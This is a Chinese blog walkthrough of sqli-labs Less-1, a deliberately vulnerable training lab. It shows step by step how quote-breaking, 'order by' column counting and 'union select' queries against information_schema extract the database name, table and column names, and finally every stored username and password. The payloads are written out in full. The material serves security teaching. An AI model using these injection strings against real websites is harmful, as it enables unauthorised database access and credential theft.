sqli-labs/less-1:基于错误提示的sql注入

  • Post author:
  • Post category:其他


根据

大佬的文章

做的sql注入

在这里插入图片描述
打开less-1得到以上界面,页面提示:输入数字范围内的id

首先构造URL,?id=1会得到以下界面

在这里插入图片描述
然后依次向下试验,发现到id=13时没有出现任何信息

在这里插入图片描述
当输入id=1’ order by 1,‘1时,页面与输入id=1一样,但是并未出现语法错误,原因是sql语句会变成id=‘1’ order by 1,‘1’。所以依次试下去会发现order by 2和3都是能显示信息的,而id=1’ order by 4,‘1又出现了新的信息

在这里插入图片描述
说明这张表只有三个字段,利用union select:构造id=1’ union select 1,2,3 order by 1,‘1

在这里插入图片描述
出现了新的用户和密码。但是需要查看数据库名以及MySQL版本的时候,必须设置成id=13,这是由于网页只能显示表的第一行,要想出现新的信息,就得把之前的信息覆盖掉,利用到id=13无信息的特点可以出现新的信息。

在这里插入图片描述
以下是拼接函数的利用:

构造?id=13’ union select 1,2,concat_ws(’:’,database(),version(),user()) order by 1,‘1

在这里插入图片描述
构造URL查询表的信息:13’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ order by 1,‘1

在这里插入图片描述
只有四张表存在,然后可以查询users的字段

构造id=13’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’ order by 1,‘1

在这里插入图片描述
只有两个字段username和password

可以把所有的字段都列出来

构造id=13’ union select 1,2,group_concat(concat_ws(’:’,id,username,password)) from users order by 1,’1

在这里插入图片描述
以上完成注入。



版权声明:本文为weixin_44236278原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。